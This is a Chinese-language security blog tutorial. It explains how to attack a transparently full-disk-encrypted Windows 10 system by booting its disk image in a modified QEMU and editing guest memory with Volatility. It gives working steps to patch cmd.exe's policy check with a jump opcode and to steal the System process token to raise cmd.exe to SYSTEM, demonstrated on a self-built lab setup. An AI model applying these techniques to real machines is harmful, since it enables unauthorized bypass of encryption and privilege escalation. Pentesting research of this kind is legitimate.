如何使用QEMU和Volatility攻擊全盤加密的系統

最近,我正在研究如何攻破透明全盤加密(Transparent Full Disk Encryption)的系統。所謂透明全盤加密,是一種加密硬碟的方式,可以在無需用戶進行任何操作的情況下啟動操作系統。

透明全盤加密

為了做到這點,通常會採用下面的方式:

使用Secure Boot的方式,並且藉助TPM封裝密鑰(推薦);

使用專有的軟體,對密鑰進行混淆並隱藏(不推薦);

使用外部硬體設備來存儲密鑰,不使用Secure Boot,不對密鑰進行保護(不推薦)。

在大多數情況下,我們的目標會從預先配置好的應用程序中脫離出來,因此下面這些文章中所講解的技巧,其實不一定真的管用:

trustedsec.com/2015/04/

carnal0wnage.attackresearch.com

pentestpartners.com/sec

blog.netspi.com/breakin

然而,如果我們獲得安全模式(Safe Mode)或啟動修復(Startup Repair)的許可權,確實會有助於我們對系統的攻擊,可以參考下文:

hackingandsecurity.blogspot.nl

這些方法之所以不太管用,原因在於,我們只能打開一個禁用本地組策略的cmd,因此大部分的選項就都無法使用了。在這裡要提到有一個有趣的防範方法,可以使用沒有任何功能的可執行文件,去替換explorer.exe。即使我們找到方法,成功攻破了他們的應用,但此時仍然是一無所有的,我們沒有桌面,沒有開始菜單,也沒有圖標。有一小部分主機,如果選擇「啟動修復」選項,就不會對加密盤進行載入,這就導致在我們得到的環境中無法訪問目標磁碟。

這時你可能會想到考慮網路攻擊的方式,但由於防火牆基於IP、埠和應用,嚴格限制了出/入通信,並且連接採用了有客戶端認證的TLS加密方式,所以無法實現中間人攻擊。

我們還可以考慮使用諸如Inception或者Pcileech這些工具,進行直接內存訪問(Direct Memory Access,DMA)攻擊。然而經過實踐,發現一部分系統沒有可用的DMA埠,還有一部分系統我沒有正確的硬體來執行攻擊,因此這個方案也並不可行。

然而,所有這些加密方案有一個比較普遍的問題,就是很多磁碟加密軟體,都沒有將加密密鑰封裝到像TPM這樣的硬體安全設備上。這就使得攻擊者可以在硬碟上創建一個映像,並且在另一台計算機上以該映像啟動。此外,如果攻擊者能夠攻破存儲加密密鑰的位置(例如USB密鑰、智能卡、混淆演算法、未加密的分區),那麼他就可以在不受信任的環境下引導映像,並且完全奪取目標計算機的磁碟控制許可權。

本文將主要講解當我們引導磁碟映像時可以進行的一些操作。通過本文的分析,希望大家能夠更透徹地了解其原理,並且學會一些操作相對便捷、步驟可以理解的解決方案。

儘管有幾種解決方案都能達到相同的目的,但我個人更傾向於輕量級的工具,這樣就能很容易地在不同QEMU版本之間移植。此外,你還可以在VMWare中引導映像,這是一種快速粗暴的方法,並且支持掛起計算機、編輯內存文件、恢復計算機的功能。然而,我還是更傾向於QEMU,因為它內置GDB調試,並且支持添加/修改代碼後的重新編譯,從而讓我們能夠完全控制整個過程。

如果你想使用這樣的工具來分析惡意軟體或其他應用,下面的幾個工具都採用了QEMU,推薦大家嘗試使用:

pyrebox(github.com/Cisco-Talos/

rvmi(github.com/fireeye/rvmi

panda(github.com/panda-re/pan

介紹了足夠多的背景知識以後,就讓我們正式開始攻破系統的嘗試。

建立模擬環境

因為我暫時沒能接觸到實際的加固環境,所以我們就首先創建一個模擬的環境。要建立模擬環境,需要:

Windows 10 x64;

VeraCrypt。

安裝一台64位Windows 10的虛擬機,但不要安裝任何虛擬化代理(Virtualisation Agent)。在完成這一步後,我們安裝VeraCrypt並對磁碟進行全盤加密。最後,禁用cmd.exe的訪問許可權。

在這裡,假如我們對其他的加固措施也都進行模擬,工作量將會變得巨大,因此我們在這裡假設,除了一個禁用的cmd和一個空白桌面以外,沒有其他可以利用。

創建磁碟映像

在我們開始攻擊之前,我們首先需要創建一個磁碟映像。我們有幾種方式可以實現此操作:

從CD/DVD/USB/網路啟動;

使用磁碟陣列(Disk Enclosure)。

在我們決定了所使用的方法後,可以使用dd來執行磁碟的實際複製操作。但在這過程中,需要注意避免錯誤地使用if和of參數。我們理論上也可以引導媒體直接在磁碟上操作,但在實際中不建議這樣做。原因在於,一旦我們操作失誤,該操作就無法再撤銷了。

我建議大家將創建的dd映像作為一個備份,然後再創建一個qcow2格式的新的映像,命令如下:

qemu-img convert disk.img -O qcow2 targetdisk.qcow2n

這樣做的好處在於,該格式支持快照,這就使得我們在對它進行操作的時候,能夠更容易地在不同工作狀態之間進行跳轉。

分析啟動過程

此前,已經有《Bootloader development environment》、《Debugging an x86 bootloader using qemukvm》等多篇文章詳細講解了QEMU或Bochs的使用方法。最重要的一點是,我們需要將-S –s添加到QEMU,使其啟動一個GDB伺服器,並且立即停止等待連接的狀態,如下所示:

./x86_64-softmmu/qemu-system-x86_64n-m 1024 -drive file=../targetdisk.qcow2,format=qcow2 -enable-kvm -monitor stdio -show-cursor -cpu core2duo -S -sn

那麼,為什麼要調試和分析啟動過程呢,原因在於:

通過該步驟來獲得密碼(下文將會詳細講解);

尋找密鑰派生演算法中是否存在漏洞;

查找隱藏的信息。

雖然可能聽起來難以置信,但一個全盤加密的產品很容易有上述漏洞。因此,我們對加密軟體在早期階段如何搜索加密數據進行分析,並初始化第一個解密操作,都是很有必要的。

此外,非常多的產品都有隱藏分區,而在隱藏分區中很可能潛藏著豐富的信息,這些信息可能會對我們的工作有所幫助。值得一提的是,當我們在研究透明全盤加密時,我們發現在早期的啟動階段,加密密鑰總是會被混淆。

關於Guest虛擬內存

經過非常認真的考慮,我選擇實時編輯Guest內存的方法,來實現對目標環境的完全控制。

在通常情況下,我們並不能通過QEMU輕易地找到想要的的內存。然而,來賓內存在QEMU進程內部被映射,我們可以通過這種方式來訪問它。我們非常希望能通過一種清晰簡單的方法,得到一個理想的文件,而Guest內存介面就是一個非常棒的方式。於是,我開始在網上尋找具體實現的方法。最後,我找到了一個Panda的舊版本,這是Brendan Dolan-Gavitt(@moyix)編寫的一個非常流行的項目。

該版本有一個為Volatility而設置的介面,會通過UNIX套接字來暴露出完整的Guest內存。經過我們的確認,這個介面不僅提供了讀取內存的功能,還提供了寫入內存的功能。並且,它是輕量級的,可以在不同版本QEMU中輕易地進行移植。以下是暴露Guest內存所需要進行修改的文件列表:

Makefile.target

hmp-commands.hx

memory-access.c

memory-access.h

monitor.c

讓我們一起看看,如何使用最新版本的QEMU對上述文件進行修改。我常用的方法是,在修改之前,首先確保目標軟體可以編譯並能夠正常工作。我們只需要按照QEMU官網上的說明進行操作即可:

gitnclone git://git.qemu.org/qemu.gitnncdnqemunngitnsubmodule initnngitnsubmodule update --recursivenn./configurennmaken

在這裡,希望大家能夠先認真閱讀說明,然後再執行操作。因為該操作將會編譯全部內容,需要很長的時間,假如盲目地執行有可能會耗費很多不必要的時間。由於我們只需要x86_64的支持,就可以先確定是否還有其他可用的目標,然後僅對目標進行編譯,這樣一來就大大縮短了編譯的時間:

makenhelpnnmakensubdir-x86_64-softmmun

如果操作全部無誤,我們現在應該可以引導此前創建地qcow2映像了,命令如下所示:

./x86_64-softmmu/qemu-system-x86_64n-m 1024 -drive file=../targetdisk.qcow2,format=qcow2 -enable-kvm -monitor stdion-show-cursor -cpu core2duon

在上面的命令中,最重要的部分就是-cpu命令,因為QEMU並不是太兼容Win10系統,所以就需要我們來指定一個特定的CPU模型。幸運的是,這是很容易解決的,我們只要去百度Windows中彈出的帶有QEMU關鍵詞的錯誤提示就可以。現在,我們已經掌握了QEMU源編譯的方法,而且已經啟動了磁碟映像。接下來,就可以著手去獲得我們所需的功能。首先,讓我們先清理目錄,並創建一個單獨的分支:

makendistcleannngitncheckout -b expose-guest-memoryn

其目的在於,假如我們操作失誤,那麼就可以拋棄掉這個分支,重頭來過。我們從Panda項目中複製文件,保存到QEMU分支的根目錄下,並且對相關的文件進行編輯。假如你已經知道,面對陌生的代碼應該如何操作,你可以跳過下一節的閱讀。

間奏曲:找到正確的文件並進行修改

現在,我們已經做好了全部準備工作,讓我們來看看是否能完成下面兩件事:

重新啟用cmd.exe;

將cmd.exe提升到系統級。

首先要提醒大家,據我所知,Volatility並不會在每次讀/寫操作後實時處理編輯後的內存。其實我認為,實時編輯的方案是完全可行的,但在這裡,我們還是採用「暫停VM——編輯內存——恢復VM」的方式。假如我們基於硬體連接,並直接對內存進行攻擊時,就沒有「暫停」的選項可以使用,這個時候可以進行實時的內存編輯。針對這類情況,應該將本文中的方法,變為類似於初始化的搜索和替換方法。

我遇到過一個有趣的情況,就是當我在連接到實時QEMU內存或者暫停QEMU內存時,Volatility將無法找到KDBG塊。如果使用pmemsave命令對內存進行轉儲(dump),則能夠正常工作。解決此問題的方法是,人工指定DTB,這樣Volatility就可以執行正確的內存地址轉換。如果要獲取地址,我們可以在QEMU控制台執行下列命令,並複製CR3的值:

infonregistersnn<snip>nnIDT=nfffff80195f6c070 00000fffnnCR0=80050031nCR2=0000000000c75000 CR3=00000000001aa000 CR4=000006f8nnDR0=0000000000000000nDR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000nn<snip>n

如果想要列出進程,可以將Volatility的命令行修改成下面的內容:

pythonnvol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 pslistn

重新啟用cmd.exe

我們首先需要弄清楚的是:是否有可能改變cmd.exe的執行流,以返回到非阻塞狀態。為了解答這個問題,我們先從內存中轉儲cmd.exe,以確保我們是對完全相同的版本進行操作。在我的自行嘗試過程中,就沒有注意到這一點,因此我也付出了一些時間上的代價。

我們可以使用procdump來轉儲cmd.exe,這是一個Volatility的插件,可以將進程轉儲回可執行文件中:

pythonnvol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 procdump -nncmd.exe -D to/n

現在,我們就有了可執行文件,我們這時就可以使用自己最熟悉的反編譯器對其進行反編譯,在這裡將以IDA為例。此外,radare2或x64dbg也同樣有效,但是我們要知道,轉儲後的可執行文件可能會有一小部分損壞。我們需要關注它的符號關聯以及可用性,這樣能使逆向工作更加輕鬆。

在將靜態輸出與調試版本進行比較後,我們需要弄清楚事實的真相。由於可執行文件並沒有被混淆,所以對我們來說,這是一個非常棒的練習機會,我將用不同的方法(靜態及調試)來追蹤代碼:

搜索註冊表項「DisableCMD」

搜索名稱中帶有「exit」的函數;

步進整個執行過程。

這樣一來,我們將會進入到如下代碼段中:

在這裡,我們可以得到一些經驗:

1. 我們是基於變數,做出的選擇;

2. 一個好的選擇,可以讓我們得到可用的Shell;

3. 一個壞的選擇,導致我們的程序塊:

(1) 列印出沒有用的信息,

(2) 暫停並且等待任意鍵繼續,

(3) 退出Shell。

如果我們想要重新啟用cmd.exe,那麼我們必須將上面的3.2變成2。這一點可以非常容易的完成,只需要跳轉到相應的位置就可以。而且,由於在其之後的代碼並不重要,所以如果我們需要一些空間,甚至可以將其去掉。要計算跳轉(JUMP)的操作碼,我們就需要計算mov ecx, esi和xor ecx, ecx地址之間的距離,ecx是一個簡單的減操作,我們得到的值是0xB352(十進位的45906)。我們在計算距離後,就可以跳轉到後面。在這一步,我嘗試尋找簡單的方法來生成操作碼,最終在這個網站中,我們找到了一些可以節省編譯時間的方法。

現在,我們就可以將下面內容輸入到彙編textbox中,檢查x64並且開始彙編:

jmp $-45906n

這就意味著,我們希望從當前的位置向後跳轉指定數量的位元組。在輸出中,甚至提供了一個非常友好的腳本格式:

"xE9xA9x4CxFFxFF"n

現在,讓我們用Volatility和Volshell修改內存中的相應位置。

pythonnvol.py -f /tmp/expmem --profile=Win10x64_14393 --dtb 0x001aa000 -wnvolshellVolatility Foundation Volatility Framework 2.6nnWritensupport requested. Please type "Yes, I want to enable write support"nbelow precisely (case-sensitive):nnYes,nI want to enable write supportnnConnectingnto: /tmp/expmemnnSUCCESS:nConnected to: /tmp/expmemnnCurrentncontext: System @ 0xffff80052585d040, pid=4, ppid=0 DTB=0x1aa000nnWelcomento volshell! Current memory image is:nnfile:///tmp/expmemnnTonget help, type hh()n

如你所見,在這裡最重要的標誌是-w,如果沒有它,我們將無法寫入。由於使用的是IDA,我們已經知道了確切的內存位置,所以修改內存就變得非常簡單:

>>>ncc(name=cmd.exe)nnCurrentncontext: cmd.exe @ 0xffff800526cb3800, pid=1912, ppid=2400 DTB=0x3c554000nn>>>nproc().get_process_address_space().write(0x7ff6340eac93,xE9xA9x4CxFFxFF)nnTruenn>>>ndis(0x7ff6340eac93)nn0x7ff6340eac93ne9a94cffff JMP 0x7ff6340df941nn0x7ff6340eac98nff DB 0xffnn0x7ff6340eac99nffcc DEC ESPnn0x7ff6340eac9bn33c9 XOR ECX, ECXn

現在,我們可以在QEMU控制台中輸入命令c(繼續)來恢復VM。當我們命中了cmd.exe中的某個鍵時,就應該能得到下圖這樣的可以利用的cmd.exe:

將cmd.exe提升到系統級

我不久前閱讀了一篇很棒的文章,該文章藉助WinDBG,展現了在Windows環境下如何進行該操作。接下來,我們試一下能否將相同的技術移植到Volatility中。事實上,由於Volatility擁有完整的結構,並且它已經對數據進行了分析,所以這一步進行得非常容易,只要有幾行Volshell,我們就能將其提升至系統。

首先,我們從系統進程中獲得系統Token:

>>> cc(pid=4)nn>>> hex(proc().Token.obj_offset)nn0xffff80052585d398Lnn>>> db(proc().Token.obj_offset)nn0xffff80052585d398 86 59 e1 e3 8d bc ff ff 00 00 00 00 00 00 00 00 .Y..............nn0xffff80052585d3a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................n

在這裡,我將實際Token的地址標紅,這就是我們將要寫入cmd.exe進程中的內容:

>>>ncc(name=cmd.exe)nn>>>nhex(proc().Token.obj_offset)nn0xffff800526cb3b58Lnn>>>nproc().get_process_address_space().write(0xffff800526cb3b58,"x86x59xe1xe3x8dxbcxffxff")nnTruen

由此,我們最終得到了所希望的系統級許可權:

總結

加密是一件非常好的安全措施,但它需要正確地應用。我們還需要知道,加密並不是萬能的。當你下次遇到加密的系統時,我希望你不要放棄,開始研究加密是如何應用的,以及是否有變通的方法實現攻擊。本文所涉及到的文件請在這裡查看,但是如果你的QEMU版本不同,你可能需要對它們進行適當的修改,或者也可以考慮使用原始的Panda git。


推薦閱讀:

哪些安全會議值得參加?
如何看待代碼安全保障技術的發展趨勢
一次驚心動魄的滲透測試
王寶強離婚與徐玉玉被騙(下)

TAG:互联网 | 网络安全 | 系统 |